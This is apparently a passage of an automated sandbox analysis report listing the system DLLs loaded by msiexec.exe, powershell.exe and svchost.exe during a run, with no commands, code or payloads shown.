Source: C:\Windows\System32\msiexec.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: tsappcmp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
